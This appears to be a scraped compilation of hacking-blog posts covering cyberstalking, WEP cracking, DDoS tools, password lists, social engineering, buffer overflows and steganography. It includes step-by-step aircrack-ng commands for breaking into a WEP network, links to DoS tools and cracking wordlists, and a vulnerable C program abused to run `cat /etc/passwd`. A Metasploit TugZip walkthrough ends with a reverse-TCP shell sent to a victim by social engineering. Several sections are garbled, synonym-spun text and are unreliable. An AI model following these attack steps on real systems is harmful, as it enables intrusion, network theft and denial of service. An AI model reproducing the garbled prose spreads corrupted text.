Cyber Stalking

Cyber Stalking

Cyber stalking is an online stalk or harassment to an individual person , group of individuals or an organization. The cyber stalker or the attacker harasses a victim using the electronic communication like e-mail or instant messaging. or messages posted in the social network website like facebook , twitter , LinkedIn ,pastebin etc. It may include the making of false accusation , monitoring , making threat , identity theft ,damaging the data , the solicitation of minors for sex or gathering information that may be used harass.

Cyberstalkers find their victims by using search engines, online forums, bulletin and discussion boards, chat room and more recently, through social networking websites such as Facebook, Twitter,My space, Bebo and Indymedia, a media outlet known for self-publishing. They may engage in live chat harassment or they may send electronic viruses and unsolicited e-mails. Cyberstalkers may research individuals to feed their obsessions and curiosity. Conversely, the acts of cyberstalkers may become more intense, such as repeatedly instant messaging their targets

Types of cyber stalking

The cyber stalker may online or it may be offline. the online stalker is a stranger person whom the target knows & in offline the stalker is anonymous and may solicit involvement of other people online who do not even know the target.

information gathering about the victim:- the cyber stalker approaching victim as a friend , family , colleagues to obtain maximum personal information.

False accusation the cuber stalker post the false information about the victim on the website. They create their own website , blogs or user pages for this purpose. They post false allegation about the victim to news group, chat room or in the other sites that allows public contributions such as Wikipedia .

monitoring the target:- They are monitoring all the online activities of the victim and trace the target ip address for more information about the target.

Threatening to victim:- The stalkers are trying to threatening to do some stuff. if the victim deny then they publish the personal information in publicly.

identity theft:- after gathering the personal information the stalker using these information to make a fake identity & claims the victim is harassing him/her.

damaging the data:- They may be trying destroy the data of the victim's computer .

cyber stalking individually

1.close friend or partner:- cyber stalking of close friend or partners the online harassment of a current or former partner. it is a form of domestic violence and main purpose is control the victim in order to encourage social isolation and create dependency. The stalker sends repeated insulting and threatening mails to the victims, monitored the victims email use , and use the victims account to send emails to other posing as the victim or to purchase goods or services the victim doesn't want like subscription of pornography or sex toys .

2.celebrieties or public persons:- In the case of celebrities or public person the stalker knows the victim but the celebrities mayn't know the stalker. In this case the stalker use the social media for harassing the victim . They use social networking websites like www.facebook.com ,www.twitter.com , www.youtube.com and www.linkedin.com etc.

3.woman:- The female victim of Cyber stalking is not only in college days or in the age of 16-28 but also the women are targeted. more than 1 million women are stalked annually in united states & within the past 12 months 9.3 million Americans were victims of identity theft.

4.By Anonymous :- The stalker use the online group of anonymous people to self organize to the target individuals with online defamation, threats of violence and technology based attack. These threats are like posting personal photographs in publicly , rape threatening or other violence , posting sensitive personal information about victim , e-mail threatening from victim to their employers , and manipulating search engines to make damaging material about the victim more prominent .

5.corporate cyberstalking:- The corporate cyber stalking will usually involves one or more individuals targeting a specific company for financial gain or for revenge against a former employee . some organizations use cyberstalking as a way of controlling some of the information posted to the Internet. As an example, recent years have seen many companies use SLAPPs (Strategic Lawsuits Against Public Participation) to prevent individuals from publishing various kinds information on the Internet, such as complaints.

Cyberstalking legislation:-

Cyberstalking is a criminal offense that comes into play under state anti-stalking laws, slander laws, and harassment laws. A cyberstalking conviction can result in a restraining order, probation, or even criminal penalties against the assailant, including jail.

many cyberstalkers are creating a situation do evolve into physical stalking & victim may experience abusive and excessive phone calls , vandalism ,threatening or obscene mail , trespassing and physical assault .

While some laws only address online harassment of children, there are laws that protect adult cyberstalking victims. While some sites specialize in laws that protect victims age 18 and under, current and pending cyberstalking-related United States federal and state laws offer help to victims of all ages

The current US Federal Anti-Cyber-Stalking law is found at 47 U S C.

The first U.S. cyberstalking law went into effect in 1999 in California .

Other states include prohibition against cyberstalking in their harassment or stalking legislation. In Florida, HB 479 was introduced in 2003 to ban cyberstalking. This was signed into law on October 2003

Anti cyber-stalking tips

Maintain vigilance over physical access to your computer and other Web-enabled devices like cell phones. Cyberstalkers use software and hardware devices (sometimes attached to the back of your PC without you even knowing) to monitor their victims.

·Be sure you always log out of your computer programs when you step away from the computer and use a screen saver with a password. The same goes for passwords on cell phones. Your kids and your spouse should develop the same good habits.

·Make sure to practice good password management and security. Never share your passwords with others. And be sure to change your passwords frequently! This is very important.

·Do an online search for your name or your family members' now and then to see what's available about you and your kids online. Don't be shy about searching social networks (including your friends' and colleagues'), and be sure to remove anything private or inappropriate.

·Delete or make private any online calendars or itineraries--even on your social network--where you list events you plan to attend. They could let a stalker know where you're planning to be and when.

·Use the privacy settings in all your online accounts to limit your online sharing with those outside your trusted circle. You can use these settings to opt out of having your profile appear when someone searches for your name. You can block people from seeing your posts and photos, too.

·If you suspect that someone is using spyware software to track your everyday activities, and you feel as if you're in danger, only use public computers or telephones to seek help. Otherwise, your efforts to get help will be known to your cyberstalker and this may leave you in even greater danger.

·As always, use good, updated security software to prevent someone from getting spyware onto your computer via a phishing attack or an infected Web page. Check the app store for your mobile devices to see what security software is available. Security software could allow you to detect spyware on your device and decrease your chances of being stalked.

·Reference

·http://en.wikipedia.org/wiki/Cyberstalking

·http://searchsecurity.techtarget.com/definition/cyberstalking

·http://netforbeginners.about.com/od/c/f/What-Is-Cyberstalking.htm

·http://womensissues.about.com/od/violenceagainstwomen/f/Cyberstalking.htm

·http://in.norton.com/cyberstalking/article

Sqlmap cheat sheet

Sqlmap cheat sheet

Sqlmap is an pretentiousness in source penetration investigation tool that automates the process of detecting and exploiting SQL injection flaws and succession of database servers. It comes when a powerful detection engine, many niche features for the ultimate height tester and a expansive range of switches lasting from database fingerprinting, on peak of data fetching from the database, to accessing the underlying file system and executing commands regarding the in force system via out-of-band buddies.

When conducting severity exam and if you court exploit any sql injection instance, the first situation that comes to the mind is sqlmap. And if the instance is period based blind sql injection subsequently sqlmap is just unavoidable.

It has many advantages to cash a propos bearing in mind immediate and obedient, complete into source, my much ardent tamper scripts, etc. Given below is the sqlmap cheetsheet you can download it from here.


http://dl.packetstormsecurity.net/papers/cheatsheets/sqlmap-cheatsheet-1.0-SDB.pdf

Mobile Hacking:Trace Mobile Numbers

Mobile Hacking:Trace Mobile Numbers

With the short exaggeration of mobile phone usage in recent years, it is often observed that it has plus become a portion of many illegal and criminal actions. So, in most cases tracing the mobile number becomes a necessary share of the psychoanalysis process. Also, sometimes we just sensitive to trace a mobile number lessening to the caller for reasons as well as irritating prank calls, blackmails, unidentified number in a missed call list and thus almost.

How to Trace Any Mobile Number?

Well, there are several ways to buy this. The easiest habit to profit admission to the details of any mobile number is by using a obedient paid support that has archives of on summit of millions of mobile and landline users in its database. If youvis--vis really omnipotent to locate out the state and habitat of the person subsequently than the mobile number, later this is the right marginal. You can use the in the sky of abet to reach the details of any phone number (mobile and landline):

Cell Phone Registry  Trace Any Mobile Number

Please note that the above assign support to works by yourself for the United States telephone numbers.
Other Possible Ways to Trace a Mobile Number:

Now concur us see at some of the regard as visceral not guilty options that are easy to reach to. Even though it is not possible to trace the number into the future to the caller using the clear facilities, it is attainable to hint it to the location of the caller and along with locate the network operator. Just have a see at this page vis--vis tracing Indian mobile numbers from Wikipedia. Using the warn provided going as regards for this page, it is attainable to totally smack any mobile number from India and locate out the location (own up/city) and network operator (mobile operator) of the caller.

All you mannerism for this is lonesome the first 4-digit of the mobile number. In this Wiki page you will arbitrator all the mobile number series listed in a permitted tabular column where they are categorized based upon mobile operator and the zone (find the keep for access/city). This Wiki page is updated regularly so as to have the funds for occurring-to-date opinion upon newly add-on mobile number series and operators. I have used this page many a grow primordial-fashioned and have never been disappointed.

If you would moreover than to use a simpler interface where in you can just enter the try mobile number and trace the desired details, you can attempt this member from Numbering Plans. With this, you can trace any number in the world.

UPDATE: After the arrival of Mobile Number Portability (MNP) in India, methods discussed above are not found to be highly much accurate.

By using the above set discharge facilities, you can abandoned know where the call is from and not who the caller is. Only the mobile operator is competent to accustom you who the caller is. Unfortunately in India, there is no such paid serve that gives you more accurate details roughly the caller. So, if you are in an emergency and mannerism to consider out the actual person as soon as the call, I would suggest that you file a disease and accept to the insist of the police. I aspiration this recommendation has helped you

WiFi Hacking

WiFi Hacking 

 

This tutorial will mosey you through a step by step procedure to crack WEP secured wireless network. It is in fact easy to crack WEP. So now lets acquire it started :
Step 1 -
Open Konsole,The backtrack terminal.
Step 2 -
Run the following commands to acquire a list of your network interfaces:
airmon-ng
Step 3 -
The one I've got there is labeled "ra0". Yours MAYBE DIFFERENT; post yes note of the label and write it the length of. From here in version to in, SUBSTITUTE it in everywhere a command includes (interface).
Step 4 -
Run the in the middle of four commands :
airmon-ng subside (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng begin (interface)
(interface) is the network adapter pronounce.

Step 6 -
Now the ethical hacking starts,pick your network by meting out this command :
airodump-ng (interface)

Step 7 -
The above command will display a list of within be in wireless bad skin muggy you,pick the spot you bearing in mind,and concur note of two things: its BSSID and its channel (in the column labeled CH).NOTE : this bitterness will by yourself doing-fighting if the network has WEP encryption,for that,see the WEP encryption (in the ENC) column, not WPA or everything else.
Step 8 -
Now we will TRY to seizure what is transmitting upon that network and combined it in a file,Use these commands for that :
airodump-ng -c (channel) -w (file make known) --bssid (bssid) (interface)
fine-flavor the required fields.
Step 9 -
Now consent to the technology get sticking together of its skirmish out,minimize the konsole,subsequently realize into a auxiliary konsole window.Issue these commands in NEW konsole :
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
Here the ESSID is the access reduction's proclaim, which in my deed is HornyBitch. What you lack to acquire after this command is the reassuring "Association proficiently-off" notice when that smiley direction.
Step 10 -
You are now 70% Done,Now matter the commands :
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
These commands will make the router traffic to capture more throughput faster to eagerness going on our crack. After a few minutes, that stomach window will begin going insane following relationships/write packets.
Step 11 -
Now we will use the patience part,Basically we nonattendance to wait until sufficient data has been collected to control your suspension. Watch the number in the "#Data" columnwe nonappearance it to go above 10,000.
Step 12 -
Once you've collected enough data, it's the moment of resolved. Launch a third Konsole window and counsel the bearing in mind to crack that data you've collected:
aircrack-ng -b (bssid) (file publicize-01.hat)
NOTE : THE (filename -01) is the publicize of MY file,regulate it and put the state of YOUR FILE.
Step 13 -

If you didn't profit plenty data, aircrack will fail and add footnotes to you to aspiration again gone more.
The WEP key appears adjoining "KEY FOUND." Drop the colons and enter it to log onto the network.

Google Hacking Cheat Sheet

Google Hacking Cheat Sheet

Everybody loves Google. We all know they can urge re us locate a local diner, set free music, software, etc, but what else make a attainment of they have to pay for? The combined cheat sheets above take steps you all Google tool, trick, and application you never knew existed.

 

Use this sheet as a user-comprehensible suggestion that outlines the various Google searches that you can perform in. It is expected to grip you throughout the Google Hacking and Defense course and can be used as a hasty hint gain and refresher on the subject of all Google avant-garde operators used in this course. The student could plus use this sheet as recommend in building futuristic operator combinations and late accretion search techniques.
This sheet is split into these sections:

1.  Operator Examples
2.  Advanced Operators
3.  Number Searching
4.  Calculator Operators
5.  Search Parameters

You can download the  Google Hacking Cheat Sheet from here.
https://drive.google.com/file/d/0BwijAkk34AyFVXRoNW9IclJ3VEU/view?usp=sharing

Social Engineering: The Art of Human Hacking

Social Engineering: The Art of Human Hacking

What is Social Engineering?

Manipulate people into doing something, rather than by breaking in using technical means .Social engineering is the art of gaining access to buildings, systems or data by exploiting human psychology, rather than by breaking in or using technical hacking techniques. For example, instead of trying to find software vulnerability, a social engineer might call an employee and pose as an IT support person, trying to trick the employee into divulging his password. The goal is always to gain the trust of one or more of your employees.

Kevin Mitnick said , "The weakest link in the security chain is the human element".

In a system, there is hardware, software and wetware, wetware being the human element of the system. With million dollar security systems and state of the art security technology, the first two systems may be impenetrable, but with enough patience and knowledge, asocial engineer can use weaknesses in the wetware to trick an unsuspecting target into revealing sensitive information. Social engineering is a use of psychological knowledge to trick a target into trusting the engineer, and ultimately revealing information.

Social Engineering includes scams such as obtaining a password by pretending to be an employee, leveraging social media to identify new employees more easily tricked into providing customer information, and any other attempt to breach security by gaining trust.

“You could spend a fortune purchasing technology and services...and your network infrastructure could still remain vulnerable to old-fashioned manipulation.”

Social Engineering is the art of exploiting the weakest link of information security systems: the people who are using them. Social Engineering is a method of gathering information and performing attacks against Information and Information Systems. An immense amount of loss has suffered by Organizations and Individuals from these attacks. However Social Engineering as a threat is overlooked because of low awareness and lack of proper training for people.

What Social Engineers Want?

The goal for many social engineers is to obtain personal information that can either directly lead them to financial or identity theft or prepare them for a more targeted attack. They also look for ways to install malware that gives them better access to personal data, computer systems or accounts, themselves. In other cases, social engineers are looking for information that leads to competitive advantage. 

Items that scammers find valuable include the following:

• Passwords
• · Account numbers
• Keys
• · Any personal information
• · Access cards and identity badges
• · Phone lists
• · Details of your computer system
• · The name of someone with access privileges
• · Information about servers, networks, non-public URLs, intranet.

How does it work?

Social engineers leverage trust, helpfulness, easily attainable information, knowledge of internal processes, authority that implied or impersonated and technology to trick you. Often, they will use several small attacks to reach their final goal, bits of information pulled together into a convincing story. Social engineering is all about taking advantage of others to gather information and infiltrate an organization. 

• Information Gathering: A variety of techniques can be used by an aggressor to gather information about the targets. Once gathered, this information can then be used to build a relationship with either the target or someone important to the success of the attack.
• Developing Relationship: An aggressor may freely exploit the willingness of a target to be trusting in order to develop rapport with them. While developing this relationship, the aggressor will position himself into a position of trust which he will then exploit.
• Exploitation: The target may then be manipulated by the ‘trusted’ aggressor to reveal information (e.g. passwords) or perform an action (e.g. creating an account or reversing telephone charges) that would not normally occur. This action could be the end of the attack or the beginning of the next stage.
• Execution: Once the target has completed the task requested by the aggressor, the cycle is complete.

Types of Social Engineering

• Pretexting: Pretexting is when a person uses false or fictitious methods to retrieve a victim’s personal information such as full name, address, birthdates and social security number. The most common forms of this type of identity theft are over the phone.

Example: In 2006, HP's chairwoman and some of the members of the board of directors used Pretexting against the board of directors, employees, and journalists to find the source of the board leaks to the public media. The team of the leak investigation hired a third party firm to obtain the phone records of suspicious individuals under false pretense without their consents; an action that caused the HP's chairwoman and several directors to lose their jobs.

• Dumpster Diving: Dumpster diving is a technique used to retrieve information that could be used to carry out an attack on a computer network. Dumpster diving isn't limited to searching through the trash for obvious treasures like access codes or passwords written down on sticky notes. Seemingly innocent information like a phone list, calendar, or organizational chart can be used to assist an attacker using social engineering techniques to gain access to the network.

Example: Workers become complacent and do not think about what they are throwing away. Receipts with signatures, copies of invoices, order forms, and other items are swept into the trash as workers hurry out of the office on a Friday night or just before a holiday. Another rarely thought of items is anything placed underneath signatures. When consumers sign receipts there is often a note pad or a desktop calendar that is thrown out at the end of the month. With a person’s address, phone number, account number, and their signature, the theft is mostly completed. Most homes are easy targets as well. Many people get pre-approved credit cards and these simple get thrown away and can be used, along with other information, to open fraudulent accounts.

• Phishing: Phishing is a type of Internet fraud that seeks to acquire a user’s credentials by deception. It includes theft of passwords, credit card numbers, bank account details and other confidential information.

Example:

 

• Spear Phishing: If traditional phishing is the act of casting a wide net in hopes of catching something, spear phishing is the act of carefully targeting a specific individual or organization and tailoring the attack to them personally.

Example:

 

IVR or phone phishing: IVR or phone phishing also known as "vishing"; this technique uses an Interactive Voice Response (IVR) system to recreate a legit sounding copy of a bank or other institution's IVR system. The victim is prompted to call in to the "bank" via a phone number provided in order to "verify" information.

Example: 

 

• Trojan horse: A Trojan horse is a malicious application that is designed to enable hackers to remotely access the target computer system. Trojans may arrive via unwanted downloads on compromised websites or install via online games or other internet-driven applications.

Example:

 

• Shoulder Surfing: Shoulder surfing refers to using direct observation techniques, such as looking over someone's shoulder, to get information. Shoulder surfing is particularly effective in crowded places because it's relatively easy to observe someone as they:

· fill out a form

· enter their PIN at an automated teller machine or a point of sale terminal

· use a calling card at a public pay phone

· Enter passwords at a cybercafé, public and university libraries, or airport kiosks.

Example: An example of shoulder surfing is when renting a public locker, some people may choose a four digit PIN code which is the same as that for their credit or bank access card. A thief who obtains the locker code by shoulder surfing could then access the locker and take and use the credit or bank access card until the card account is blocked. Avoid using banking codes for other items like lockers, combination locks, etc.

· Diversion Theft: This is when a social engineer convinces a courier or transport company that they're actually you. They then arrange for the parcel to be arranged to another location nearby. Usually the courier is met at the side of the road by a smiling social engineer who takes the parcel and pretends to walk towards a house or apartment.

• Forensic analysis: Forensic Analysis is the use of controlled and documented analytical and investigative techniques to identify, collect, examine, and preserve digital information.

Example: Obtaining old computer equipment such as hard-drives, memory sticks, DVD/CDs, floppy disks and attempting to extract information that might be of use about an individual/organization.

• Tailgating: Tailgating involves getting into a physical facility by coercing or fooling staff there, or just walking in.

Example: Joe, who has forgotten his passkey into the building, shadows Barb as she ‘keys in’, and slips in after her. Often Barb does not know Joe, or even notice that Joe has tailgated after her. And more often than not, even if Barb has noticed, she will not turn around and stop Joe from tailgating. She would not feel comfortable doing that, as it might create a scene in front of others. If Joe is an intruder, he has achieved the first step in his plan - he has gained physical access into the premises.

• Baiting: Baiting is typically done by leaving a malware infected cd, usb-key in company building, some place that would make it seem as though the item has been dropped by accident. This item might even be labeled with some kind of interesting title so as to encourage the finder to use it on his/her computer to satisfy the curiosity, only to have malware infecting the computer and give the attacker access to sensitive information and/or the company’s internal network.
• Quid pro quo: An attacker offers his victim a gift in exchange for some action or piece of information. The attacker often does not even need to make a deal. By simply providing assistance in some way, an attacker can endear themselves to their victim, making further interrogation a simple matter.

• Reverse Social Engineering: Reverse social engineering is a method where an attacker can get their victims to call them back pertaining to something an attacker may have previously. Since a victim is calling the attacker, the victim is already at the attacker’s mercy, and it is almost impossible for the victim to tell that they are being attacked if they have already legitimately made the call back to the attacker.

Example: The attacker may cause a network failure, show up as a technical support expert just at the right moment, and then help the network operator through the problem. The operator would think of the attacker as someone of high authority that she could trust and would willingly ask or answer detailed questions that include confidential information or a way to access it.

• Fake Pop-up: The attacker’s rogue program generates a pop up window, saying that the application connectivity was dropped due to network problems, and now the user needs to reenter his id and password to continue with his session. The unsuspecting user promptly does as requested, because he wishes to continue working, and forgets about it. 

Ways to prevent Social Engineering

· Management buy-in: Budget for training. HR involved.

· Security policy: A sound security policy will ensure a clear direction on what is expected of staff within an organization.

· Physical security: The use of access badges indicating an individual’s status.

· Education/Awareness: A good training and awareness program focusing on the type of behavior required. This program might even provide users with a checklist on how to recognize a possible ‘Social Engineering’ attack.

• Good security architecture: No rogue devices.

· Limit data leakage: For example, websites, public databases, Internet registries, and other publicly accessible data sources should only list generic information, instead of employee names.

· Incident response strategy:. For example, if a user receives a request, he should verify its authenticity before acting on the instructions he has received.

· Security culture: The creation of a security culture should be considered a long-term investment, which requires a constant effort to maintain and grow.

Conclusion: Social Engineering is the way an intruder can get access to your information resources without having to be a technical, network or security expert. The attacker can use many tactics to either fool the victim into providing the information he needs to gain entry, or obtain the information without the victim’s knowledge.

Social Engineering can be a threat to the security of any organization. It is important to understand the significance of this threat and the ways in which it can be manifested. Only then can appropriate counter-measures be employed and maintained in order to protect an organization on an ongoing basis.

Mozilla Plugins For Hackers

Mozilla Plugins For Hackers

Mozilla Firefox is a browser which is loved by security experts and hackers. it also supports add-ons to enhance the functionality. Mozilla has a website add-on section that has thousands of useful add-ons in different categories.We thought it would be fun to bring to you a list of important add-ons for hackers and pentesters. 

 

Firebug

Firebug allows you to modify the content of a page (HTML or Javascript) on the fly – enabling you to modify it to your likings. Annoying javascript input validation? Remove it with Firebug! Form not formulated to your likings? Hack it up real nice, with Firebug!

Tamper Data:
This is one of the most used Addons for Pentesters, who traditionally make use of it for viewing and modifying HTTP/HTTPS headers and post parameters, trace and time HTTP response or requests, security test web applications by modifying POST parameters and a lot more.

XSS Me

“XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting”.

User Agent Switcher

With this extension, you can quickly and easily switch between user-agent strings.  Also, you can set up specific URLs that you want to spoof every time

Live HTTP Headers

 
Live HTTP Headers is a really helpful penetration testing add-on for Firefox. It displays live headers of each http request and response

HackBar

 
This toolbar will help you in testing sql injections, XSS holes and site security. It is NOT a tool for executing standard exploits. Its main purpose is to help a developer do security audits on his code

SQL Inject ME

“SQL Inject Me is the Exploit-Me tool used to test for SQL Injection vulnerabilities. “

DDOS Attack and Free Tools for DDOS

DDOS Attack and Tools for DDOS

The denial of service (DOS) attack is one of the most powerful attacks. Denial of Service attacks(or Distributed Denial of Service attacks DDoS are a form of organized attacks with the goal of taking down a server by overloading it. Often by sending useless information(packets) to a server in massive amounts.

As clarification, distributed denial-of-service attacks are sent by two or more persons, or bots, and denial-of-service attacks are sent by one person or system. As of 2014, the frequency of recognized DDoS attacks had reached an average rate of 28 per hour

The most common type of Denial of Service attack involves flooding the target resource with external communication requests. This overload prevents the resource from responding to legitimate traffic, or slows its response so significantly that it is rendered effectively unavailable.

You can download the Free DOS Attacking Tools from here https://drive.google.com/file/d/0BwijAkk34AyFNFBRbVV1aW9adTA/view?usp=sharing.

Warning: These tools might not seem like much, but many people of all ages have been arrested and convicted for knowingly using these tools. Remember DoS and DDoS are federal crimes, however insignificant it may seem. Use at your own discretion.

Password Cracking :Dictionary Attack Password List

 Password Cracking :Dictionary Attack Password List

For password cracking, you can choose two different methods 1. Dictionary Attack 2. Brute Force Attack.

Brute force attack and Dictionary password cracking attack is still effective. Brute force attack can be more effective if the hacker has good knowledge in password profiling,information gathering.

Brute Force Attack

Definition: Attempts to determine a secret by trying every possible combination. Brute force attack is combination of all character a-z,A-Z,1-3 and other special characters.

Dictionary Attack

Definition: Typically, a guessing attack which uses precompiled list of options. Rather then trying every option, only try complete options which are likely to work.A “dictionary attack” is similar and tries words in a dictionary — or a list of common passwords — instead of all possible passwords. This can be very effective, as many people use such weak and common passwords.

In order to achieve success in dictionary attack, we need a large size of Password list. You can download the password list from here.
https://drive.google.com/file/d/0BwijAkk34AyFOWdpallZR2cwOEE/view?usp=sharing

Buffer Overflow Basics

Buffer Overflow Basics

Introduction

Buffer overflows have been the most common form of security vulnerability in the last ten years. Buffer overflow attacks form a substantial portion of all security attacks simply because buffer overflows vulnerabilities are so common and so easy to exploit. Most of the exploits based on buffer overflows aim at forcing the execution of malicious code, mainly in order to provide a root shell to the user. A buffer overflow occurs when more data are written to a buffer than it can hold. Buffer overflows happen when there is improper validation.

Like it or not, all buffer overflows are a product of poorly constructed software programs. These programs may have multiple deficiencies such as stack overflows, heap corruption etc referred to as simply buffer overflows. Programs written in C are particularly susceptible to buffer overflow attacks. Pace and performance were more important design considerations for C than safety. Hence, C allows direct pointer manipulations without any bounds checking. The standard C library includes many functions that are unsafe if they are not used carefully.

Buffer Overflow

To understand buffer overflow attacks, we must first understand what a buffer overflow is. A buffer is an area of memory allocated with a fixed size. It is commonly used as a temporary holding zone when data is transferred between two devices. When user input exceeds the maximum size of the buffer, overwriting the other areas of the memory and corrupting those areas results buffer overflow.

A common example might be an application which asks for a username it expects to be no longer than, 8 characters.

boolean rootPriv = false;

char name[8];

cin >> name; 

If the user enters a username of more than 8 characters there is a potential problem if the application tries to store the username in a string buffer of 8 bytes, which can take a maximum of 8 letters. 

Types of Buffer Overflow

• Stack Overflow

Stack overflows have been considered the most common type of error that can be remotely exploitable. Stack overflows are caused by a lack of separation in data and structures that control the data. Of the different types of buffer overflows, stack overflows have been considered the easiest to exploit.

• Heap Overflow

A heap is a memory area that has been allocated dynamically. Heaps are dynamically created (e.g., new, malloc) and removed (e.g., delete, free). Heaps are necessary as the memory-size needed by the program is not known former or it may require large memory than stack.

Heap overflow is as same as stack overflow. When a program copies data without checking whether it can store or not in the given destination, then the attacker can easily overwrite data and instruction in heap.

• Off-by-One Errors

An off-by-one error is a specific type of buffer overflow that occurs when a value is one iteration off what it is expected to be. This can often be due to miscounting the number of times a program should call a specific loop of code. The error may result in rewriting of one digit in the return pointer in the stack, which allows a hacker to direct the pointer to an address containing malicious code.

• Format String Overflow

A format string attack occurs when a program reads input from the user, or other software, and processes the input as a string of one or more commands. If the command that is received differs from that which is expected, such as being longer or shorter than the allocated data space, the program may crash, quit or make up for the missing information by reading extra data from the stack; allowing the execution of malicious code

Types of Buffer Overflow Attacks

A buffer overflow attack may be two types. One is remote and another is local. In case of remote attack, the attacker uses network port, channel to achieve unauthorized access and tries to get administrator privileges. It is very common today as the use of Internet spread widely in practice. On the other hand, in a local attack, attacker gain direct access of the target system, and then enhances his access privilege.

Consequences of Buffer-Overflow

• Availability: Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
• Access control: Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program’s implicit security policy.
• Other: When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

How to Exploit the Buffer-Overflow Vulnerability

To fully exploit stack buffer-overflow vulnerability, we need to solve following challenging problems.

• Writing malicious code: the most powerful malicious code is to invoke the shell, so we can run any command we want in that shell.
• Jumping to the malicious code: To jump to the malicious code that we have injected into the target program’s stack, we need to know the absolute address of the code so that when the function returns, it will return to our malicious code.
• Injecting the malicious code: With the buffer overflow vulnerability in the program, we can easily inject malicious code into the memory of the running program.

Shellcode: Shellcode is the code executed when vulnerability has been exploited. It is called shellcode because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode are very common in exploitation of vulnerabilities such as stack and heap-based buffer overflows as well as format strings attacks. Basically shellcode is a machine code used as the payload in the exploitation of a software bug. From the hacker’s point-of-view, having accurate and reliable shellcode is a requirement for performing any real-world exploitation of vulnerability. If the shellcode isn’t reliable, the remote application or host could potentially crash.

Examples

• C program vulnerable to Buffer Overflow

Below is the C program having Buffer Overflow Vulnerability.

#include<stdio.h>

void main()

{

char *fname;

char *lname;

fname=(char *)malloc(10);

lname=(char *)malloc(10);

printf("address of first name:%d\n", fname);

printf("address of last name:%d\n", lname);

printf("Difference between address is :%d\n", lname-fname);

printf("Enter pet name:");

gets(fname);

printf("hello %s\n",fname);

system(lname);

}

The malloc function is used to allocate a certain amount of memory during the execution of a program. The malloc function will request a block of memory from the heap. If the request is granted, the operating system will reserve the requested amount of memory. When a system function is executed the content in the last name will be executed.

In above program we allocate 10 byte to first name which is dynamic allocated memory and another 6 additional byte for malloc call.

We can compile the above program (new.c) as 

We execute the program and get to know that the address between first name and last name is 16 bytes. Then we enter the pet name and the program results hello pet name i.e John martin. When the user gives the input of less than the 16 digits then the program will execute normally as the function doesn’t goes up to last name variable. 

We again execute the program with different pet name i.e jonathhan lewinters it results hello jonathhan lewinters and ers command not found. This means the command we are trying to execute is not found in the shell.

In this execution starting 10 bytes are assigned with first name, 6 bytes are assigned with malloc function and remaining 3 goes to last name i.e ers. 

Again we execute our program with same pet name i.e jonathhan lewinters but in place of ers we use cat /etc/passwd.

This results the buffer overflow. This buffer overflow is caused because the gets() function doesn’t limits the length of input. In this way an attacker can exploit the application having buffer overflow vulnerability to execute the system command. To overcome from this kind of problem we can use the fgets(fname,10,stdin) function.

Buffer overflow attack in tugzip 3.5 using backtrack

TUGZip 3.5 is prone to remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. The vulnerability occurs when handling specially crafted ZIP files. By this vulnerability an attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Download TugZip 3.5 and install that software on windows machine. Open Backtrack machine and start metasploit by using msfconsole command in console.

Search for tugzip in msf and use exploit tugzip.If you don’t have this exploit download it from the resource. 

Set payload of reverse TCP and set LHOST. LHOST is local host IP address means backtrack machine IP address in my case it is 192.168.1.11. 

Run the exploit. It will create .zip file. Send that file using some social-engineering method to victim machine. 

So now we need to open a listener so we can listen for the zip connecting back so that we get a session. Create payload handler on backtrack machine. 

Set payload of reverse TCP. Set LHOST and run the exploit. When the victim open that zip file in tugzip you will get meterpreter session opened in backtrack. 

Meterpreter provides an interactive shell which allows you to use extensible features at run time. Beautiful fact about meterpreter is its ability to remain undetectable by most commonly used Intrusion Detection systems. Meterpreter also provides ease of multitasking by giving us the ability to create multiple sessions.

Prevention against buffer overflows errors

Buffer overflow vulnerabilities are the result of poor input validation: they enable an attacker to run his input as code in the victim. Following are the steps used to prevent (or detect) buffer overflow vulnerabilities.

• Use safer versions of functions: Safer alternatives are available for all the traditional functions beset by buffer overflows. For instance, strncpy and snprintf are safer than the older strcpy and sprint.
• Static Techniques: One of the best ways to prevent the exploitation of buffer overflow vulnerabilities is to detect and eliminate them from the source code before the software is put into use. Tools designed to perform automatic source code analysis complement the act of a manual audit by identifying potential security violations including functions that perform unbounded string copying. Some of the best known tools are its4, RATS, and LCLin.
• Dynamic run-time checks: In this an application has restricted access in order to prevent attacks. This method primarily relies on the safety code being preloaded before an application is executed. This preloaded component can either provide safer versions of the standard unsafe functions, or it can ensure that return addresses are not overwritten. One example of such a tool is libsafe.
• Compiler Modifications: If the source code is available, individual programs can have buffer overflow detection automatically added in to the program binary through the use of a modified compiler. StackGuard, ProPolice, StackShield, and RAD are such compilers.
• Stack executes invalidation: Because malicious code (for example, assembly instructions to spawn a root shell) is an input argument to the program, it resides in the stack and not in the code segment. Therefore, the simplest solution is to invalidate the stack to execute any instructions.

Conclusion

A buffer overflow occurs when more data are written to a buffer than it can hold. The excess data is written to the adjacent memory, overwriting the contents of that location and causing unpredictable results in a program. Buffer overflows happen when there is improper validation. It is considered a bug or weakness in the software. Buffer overflows still account for the largest share of software vulnerabilities. Particularly dangerous is the area of remote exploitable vulnerabilities, where attackers hijack hosts in the Internet to perform criminal activities on behalf of others. The prevention technologies can make exploiting a buffer overflow considerably harder, but no tool can solve completely the problem of buffer overflow. However, writing secure code is still the best possible solution to these attacks.

References

• http://destroy.net/machines/security/P49-14-Aleph-One
• https://en.wikipedia.org/wiki/Buffer_overflow
• packetstorm.foofus.com/papers/general/ModernOverflowTargets.pdf

Steganography and Steganalysis

Steganography and Steganalysis

Steganography is the art and science of writing hidden messages in such a way that no one apart from the intended recipient knows of the existence of the message. Both the recipient and the sender must know how to decrypt the hidden message. This is done with a key/algorithm.

Steganography is often confused with cryptology because the two are similar in the way that they both are used to protect important information. Cryptography is the study of hiding information, while Steganography deals with composing hidden messages so that only the sender and the receiver know that the message even exists. In Steganography, only the sender and the receiver know the existence of the message, whereas in cryptography the existence of the encrypted message is visible to the world. Due to this, Steganography removes the unwanted attention coming to the hidden message

